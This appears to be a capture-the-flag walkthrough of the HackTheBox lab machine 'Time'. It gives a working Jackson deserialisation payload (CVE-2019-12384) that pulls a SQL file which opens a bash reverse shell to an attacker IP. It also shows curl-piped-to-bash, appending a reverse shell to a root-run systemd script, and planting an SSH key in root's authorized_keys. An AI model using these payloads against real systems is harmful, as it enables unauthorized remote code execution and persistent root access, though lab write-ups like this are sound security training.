Time is a vulnerable virtual machine created by egotisticalSW & felamos on HackTheBox. In this post, we document a complete walkthrough of pwning this machine.
Enumeration
Nmap
Starting off with the nmap
scan, we see that this is a Linux machine running SSH
and HTTP
services.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ nmap-default 10.10.10.214
Nmap scan report for 10.10.10.214
Host is up (0.19s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 0f:7d:97:82:5f:04:2b:e0:0a:56:32:5d:14:56:82:d4 (RSA)
| 256 24:ea:53:49:d8:cb:9b:fc:d6:c4:26:ef:dd:34:c1:1e (ECDSA)
|_ 256 fe:25:34:e4:3e:df:9f:ed:62:2a:a4:93:52:cc:cd:27 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Online JSON parser
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
The version of the system can be identified by searching for the OpenSSH
package information. It appears to be Ubuntu 20.04 (Focal Fossa)
according to the page below.
https://launchpad.net/ubuntu/+source/openssh/1:8.2p1-4ubuntu0.1
HTTP
The following web page is found as the index page of the HTTP server, which appears to beautify and validate JSON
data.
An error message is obtained by trying some invalid JSON
object with the “Validate” functionality. In the message, we notice that com.fasterxml.jackson.core
is the package used to process the data.
1
Validation failed: Unhandled Java exception: com.fasterxml.jackson.core.JsonParseException: Unrecognized token 'test': was expecting 'null', 'true', 'false' or NaN
Exploitation
CVE-2019-12384
The package has a lot of vulnerabilities. After quite a bit of searching and trial & error, a working exploit is found in this blog post.
First, an inject.sql
file containing the below contents is created and served with Python
HTTP server.
1
2
3
4
5
6
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
String[] command = {"bash", "-c", cmd};
java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
return s.hasNext() ? s.next() : ""; }
$$;
CALL SHELLEXEC('bash -i >& /dev/tcp/10.10.14.8/4444 0>&1')
Next, the following payload is used against the page’s “validate” function to trigger the deserialisation vulnerability, which in turn makes the server do an SSRF to fetch and execute our malicious SQL code.
1
["ch.qos.logback.core.db.DriverManagerConnectionSource", {"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://10.10.14.8:8000/inject.sql'"}]
It is confirmed in our Python
HTTP server.
1
2
3
$ python -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.10.214 - - [03/Apr/2021 23:49:14] "GET /inject.sql HTTP/1.1" 200 -
Checking the ncat
listener, we get a reverse shell as pericles
.
1
2
3
4
5
6
7
$ ncat -nlvp 4444
...
pericles@time:/var/www/html$ whoami
whoami
pericles
Privilege Escalation
Some enumeration is performed with LinPEAS. This can be done by putting the linpeas.sh
in the Python
HTTP server directory and execute the following command in the reverse shell.
1
pericles@time:/var/www/html$ curl 10.10.14.8:8000/linpeas.sh | bash
In the System timers
section of the outputs, something interesting is found. For some readings about systemd
timers, refer to here.
1
2
3
4
[+] System timers
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#timers
NEXT LEFT LAST PASSED UNIT ACTIVATES
Sun 2021-04-04 03:53:11 UTC 2s left Sun 2021-04-04 03:53:01 UTC 7s ago timer_backup.timer timer_backup.service
The timer is found to be executing a service named timer_backup.service
, which in turn runs another service web_backup.service
.
1
2
3
4
5
6
7
8
9
10
11
pericles@time:/var/www/html$ find / -name timer_backup.service 2>/dev/null
/etc/systemd/system/timer_backup.service
pericles@time:/var/www/html$ cat /etc/systemd/system/timer_backup.service
[Unit]
Description=Calls website backup
Wants=timer_backup.timer
WantedBy=multi-user.target
[Service]
ExecStart=/usr/bin/systemctl restart web_backup.service
The web_backup.service
just runs a shell script /usr/bin/timer_backup.sh
.
1
2
3
4
5
6
pericles@time:/var/www/html$ cat /etc/systemd/system/web_backup.service
[Unit]
Description=Creates backups of the website
[Service]
ExecStart=/bin/bash /usr/bin/timer_backup.sh
The shell script does some backup job as the name suggests. However, by checking the permissions of the file, it is found to be owned by our current user and writable by anyone, which means that we can control the content of the script.
1
2
3
4
5
6
pericles@time:/var/www/html$ cat /usr/bin/timer_backup.sh
#!/bin/bash
zip -r website.bak.zip /var/www/html && mv website.bak.zip /root/backup.zip
pericles@time:/var/www/html$ ls -l /usr/bin/timer_backup.sh
-rwxrw-rw- 1 pericles pericles 88 Apr 4 04:05 /usr/bin/timer_backup.sh
Since the script is executed by systemd
and as root
, we can simply put a reverse shell one-liner in it to get a reverse shell as root
.
1
pericles@time:/var/www/html$ echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' >> /usr/bin/timer_backup.sh
It is confirmed by checking our ncat
listener. But after a few seconds, the reverse shell dies, which makes it unusable.
1
2
3
4
5
6
7
$ ncat -nlvp 4444
...
root@time:/# whoami
whoami
root
To get a stable shell, we can use ssh
. First, an ssh
key named root
is generated with ssh-keygen
.
1
$ ssh-keygen -t ed25519 -f root
Next, we put a command that writes our public key into root’s authorized_keys
in the shell script.
1
2
3
4
$ cat root.pub
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIG7KYkSEthZfyCg4JkhAPAxW7bMlweV2iEvj9sSpUQjO
pericles@time:/var/www/html$ echo 'echo ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIG7KYkSEthZfyCg4JkhAPAxW7bMlweV2iEvj9sSpUQjO >> /root/.ssh/authorized_keys' >> /usr/bin/timer_backup.sh
After a few seconds, we can ssh
in with the private key.
1
2
3
4
5
6
$ ssh -i root [email protected]
...
root@time:~# whoami
root